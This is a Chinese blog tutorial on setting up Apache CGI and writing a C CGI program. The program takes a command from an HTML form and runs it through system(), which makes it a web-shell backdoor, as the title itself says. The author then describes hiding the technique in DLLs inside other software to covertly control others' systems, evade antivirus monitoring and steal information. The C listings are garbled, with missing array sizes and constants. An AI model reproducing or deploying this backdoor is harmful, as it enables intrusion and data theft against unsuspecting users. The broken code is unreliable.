C/C++学习到这儿,结合自己曾经学过的javasweb知识,现在让我们来看看,如何做一个CGI程序吧!

首先了解一下啥子叫CGI  :CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。    ----来自百度百科

1.  首先,我们需要 Apache server2.0(学习web,应该必须知道这个的,嘻嘻),安装好该软件之后,也许会出现很多的问题,导致打不开什么的。喵了个咪的,博主本人曾经也是搞了老半天,不过最后,还是搞定了!

(1). 其实主要情况,我遇到就两种,第一种,就是我们为了节约开机时间,将IIS关闭了,或者有些侠客直接将它卸载了! 所以导致打不开!

          -----------------------面对这种问题,下一个就好了!  Apache server2.0 需要 IIS 配合。

(2). 第二种就是80端口被占用了,这是最容易发生的情况没有之一。  解决的方法有很多,但是个人比较喜欢这样来搞。

cmd --》 net -ano   --->查看那些占用了80端口(一般是浏览器什么的居多) 几下他们的  PID ,然后在进程管理哪儿关闭就好了!

上面的Apache server 运行起来之后,就在浏览器中 敲入 localhost ,会显示一个

然后修改一个,http.cof文件

找到俩个位置:

第一个位置: #  AddHandler cgi-script .cgi   将这个语句的前面#注释符去掉

第二个位置:

<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None    -----将这个位置替换为:    Options Indexes ExecCGI
Order allow,deny
Allow from all

</Directory>

这两个位置配置好之后。就可以用C/C++编程了!

第一步:我们编写一个这样的文件

 #include<stdio.h>
int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
printf("hello world ! 我是cgi ");
getchar();
return ;
}

编译,生成一个这样的 hello.exe文件、生成之后,我们将hell.exe的属性改为 hello.cgi

然后将其放置到,自己安装的Apache server2.0文件中的cgi-bin文件下

在浏览器中,再输入,localhost/cgi-bin/hello.cgi  就可以看到这样的画面

          

2. 那么说了这么多,我们又该用c/c++写一个cgi来做后台,在背后来操作这个数据呢!

首先,我们需要写一个html,做个web的,对于这些当然,是再easy不过了! 为了节约时间,就写一个简陋点的html吧!!

诺,看!

 <html>
<head>
<title>后台</title>
</head> <body>
<h1> 后台界面</h1>
<form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI > 请输入命令cmd: <input type="text" name="textlist" /><br><br>
<input type="submit" /><br>
</form>
<hr>
<body>
</html>

这个界面的运行的效果,如下图:

当然,这个当我们在做web的时候,这个是可以内嵌到,我们的项目中的!在于你将这个jsp放到哪个地儿啦!

最后就是重点了! 就像我上面写的cgi一样! 写一个下面这样的代码:

 #define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
//#include<stdexcept>
#include<windows.h> //以调用System为举例
void func(char ps []) {
// ps 为cmd命令
char *pl = strchr(ps,'='); //pl指向当前的位置
if(pl!=NULL) ps = ps + (pl-ps+);
printf("命令cmd = %s\n", ps);
char cmd[] = {'\0'};
char filename[] = "Gxjun.txt"; //暂定放置于当前目录。
sprintf(cmd,"%s > %s ",ps,filename); //将ps的内容写入cmd中
//生成了一条指令
//无论是否执行成功,都会生成一个Gxjun.txt文件
FILE *fp = NULL;
int tag=system(cmd);
if (tag == ) {
printf("命令格式错误!,请重新输入: ");
goto loop;
}
if ((fp = fopen(filename, "r")) == NULL) {
printf("没有发现文件!");
goto loop ;
} while (!feof(fp)) {
char str=fgetc(fp);
if (str == '\n') printf("<br><br>\n\n");
else if (str == ' ')printf("&nbsp;");
else
printf("%c",str);
} loop:
if (fp != NULL){
fclose(fp);
//并删除备份的文件
system("del Gxjun.txt");
}
return ;
} int main(int args ,char * argv []) { printf("Content-type:text/html\n\n");
//打印环境变量
printf("&nbsp;&nbsp;&nbsp;%s<br><br>", getenv("QUERY_STRING"));
char szPost[] = {'\0'};
gets(szPost); //获取输入
if ( strlen(szPost) < )
strcpy( szPost , "ipconfig" );
func(szPost);
getchar();
return ;
}

  编译之后,形成hello.exe改成将.exe属性改为hello.cgi文件,放置到cgi-bin目录中,当然,如果有服务器,之间放到服务器中就可以看!  就像这样

3.打开浏览器,输入类似这样的如下图:

输入一个  tasklist之后,得到这样一个页面显示:

输入: ipconfig 之后得到的画面:

好了! 关于,网站后台的知识,大概就这么多了! 写的比较操蛋! 当然,还可以无限的加精! 这个,得看,你能花多少时间在这个上面了! 做的精华了,你就是一个Hacker!    

  当然,其实这个技术,不仅仅仅限于web这方面,可以适应任何软件,我们可以生成一个lib/dll文件,然后#progma(lib,"**.lib");这样的宏命令,嵌入到我们的软件中,利用这个存在的软件,作为幌子,可以暗暗的操控被人的系统的!  当然也可以再写一个dll文件,来执行相应的操作的!这样的话,就需要加入很多的随机元素,比如文件生成不能再是Gxjun,txt,而应该是随机的生成,路径随意的生成,,当然这些都是很容易实现的,这样很容易躲过360的钩子这个流氓软件! 然后对别人 的软件偷偷的窃取信息什么的!! 当然,有360把关最底层,你所做的行为不可能逃过它的的监控,唯一的方法就是花钱,让360放行,等等! 当然,我们还是可以通过下载者自己放行就可以了(虽然会被拦截)!

----------------以上都是依据本屌实际操作可行,以及学习得到的经历,分享出来,供大家参考,如果有误,欢迎,严厉带着苛刻的指正!谢谢!------------------

c/c++----网站及其后门(CGI应用程序)的更多相关文章

  1. Microsoft Azure Web Sites应用与实践【4】—— Microsoft Azure网站的“后门”

    Microsoft Azure Web Sites应用与实践 系列: [1]—— 打造你的第一个Microsoft Azure Website [2]—— 通过本地IIS 远程管理Microsoft ...

  2. 菜鸟疑问之新建网站与新建web应用程序区别

    学习asp.net一定少不了这困惑:新建网站与新建web应用程序有什么区别? 新建web应用程序 新建网站 呵呵,其实从名字看一个是webApplication,一个是webSite.名字不同罢了? ...

  3. 集成自动化的条形码功能到internet应用程序,网站或自定义Java应用程序的条码控件Java Barcode Package

    Java Barcode Package控件是一款条码生成控件,包含所有的JavaBean,Applets,Servlets和类库可以使用于装有Java虚拟机的任何平台,包括Windows®, Lin ...

  4. ASP.NET网站与ASP.NET应用程序的区别

    我们使用VS做ASP.NET的时候,可以选择新建ASP.NET应用程序,同时也可以新建ASP.NET网站,两者有什么具体区别呢?今天真是很幸运,比别人多上了老师一节课,讲的是这两者之间的一些区别.我学 ...

  5. 基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写

    基于JAVA WEB技术旅游服务网站系统设计与实现网上程序代写 专业程序代写服务(QQ:928900200) 随着社会的进步.服务行业的服务水平不断发展与提高,宾馆.酒店.旅游等服务行业的信息量和工作 ...

  6. ubuntu chrome 无法从该网站添加应用,拓展程序或脚本

    昨天装好ubuntu 18.04 lts版本后,下载了chrome( 版本 68.0.3440.106)和SwitchyOmega,本来计划离线安装,结果提示“无法添加来自此网站的应用.扩展程序和应用 ...

  7. 搭建简单的CGI应用程序

    原文来源于<核心编程3>第10章web编程 一.静态文件+脚本文件 1.首先开启cgiweb服务器 python2 -m CGIHTTPServer 8000 看到如下反应 2.服务器目录 ...

  8. 【以前弄的老东西】DLLspy超犀利后门 (源代码+程序+使用手册+二次开发文档)

    这个玩意儿是很久之前的整的.一直没有做完,但是基本功能和框架都做好了,现在发出来,希望有能力的家伙一起完成.DLLspy,绝对免杀,隐藏,HTTP请求劫持,居家旅行,杀人放火必备良药.有时间我会继续开 ...

  9. 来选择一款适合你网站的CMS建站程序吧

    1:首页我们要搞清楚什么叫cms? ContentManagementSystem就是cms的全名,意思就是内容管理系统.cms整站系统是以文章系统为核心,增加用户需要的模块,如文章.图片.下载等,提 ...

随机推荐

  1. wamp出现could not execute run action问题

    wamp出现could not execute run action问题     原文地址:http://blog.sina.com.cn/s/blog_4a60ba9c0100zzlr.html上午 ...

  2. BeagleBone Black– 智能家居控制系统 LAS - ESP8266 UDP 服务

    NodeMCU 的文档里面终于发现,ESP8266 的GPIO 2 确实是 PIN 4,GPIO 0 是 PIN 3. https://github.com/nodemcu/nodemcu-firmw ...

  3. IIS网站部署注意点

    在IIS上部署网站时,除了在添加网站时配置好相关程序池,主目录,安全性,选择.Netframwork版本这些步骤外, 容易忘记的是有些网站需要打开web服务扩展.

  4. python_way,day4 内置函数(callable,chr,随机验证码,ord),装饰器

    python_way,day4 1.内置函数 - 下 制作一个随机验证码 2.装饰器 1.内置函数 - 下 callable() #对象能否被调用 chr() #10进制数字对应的ascii码表中的内 ...

  5. C#正则表达式编程(四):正则表达式

    正则表达式提供了功能强大.灵活而又高效的方法来处理文本.正则表达式的全面模式匹配表示法使您可以快速分析大量文本以找到特定的字符模式:提取.编辑.替换或删除文本子字符串:或将提取的字符串添加到集合以生成 ...

  6. More Effective C++ (1)

    简单分析总结了more effective c++ 的前十个条款: 剩下的条款to be continue~ 1.仔细区分指针和引用引用必须不能指向空,指针可以指向空,指针初始化是记得赋空值,重载某些 ...

  7. Linux_常用命令_03_磁盘/挂载_信息查看

    1. 1.1. mount 不带参数的话,显示的是 当前已经挂载的情况 1.2. df 不带参数的话,硬盘分区状况查询 2. 2.1. cat /proc/partitions 2.2. fdisk ...

  8. Android 异步加载图片,使用LruCache和SD卡或手机缓存,效果非常的流畅

      Android 高手进阶(21)  版权声明:本文为博主原创文章,未经博主允许不得转载. 转载请注明出处http://blog.csdn.net/xiaanming/article/details ...

  9. UML中类之间的几种关系

    类之间可能存在以下几种关系:关联(association).依赖(dependency).聚合(Aggregation,也有的称聚集).组合(Composition).泛化(generalizatio ...

  10. VirtualBox的网络配置,Host Only+NAT方式 (zhuan)

    http://blog.csdn.net/xinghun_4/article/details/7969894 ***************************************** 其实网 ...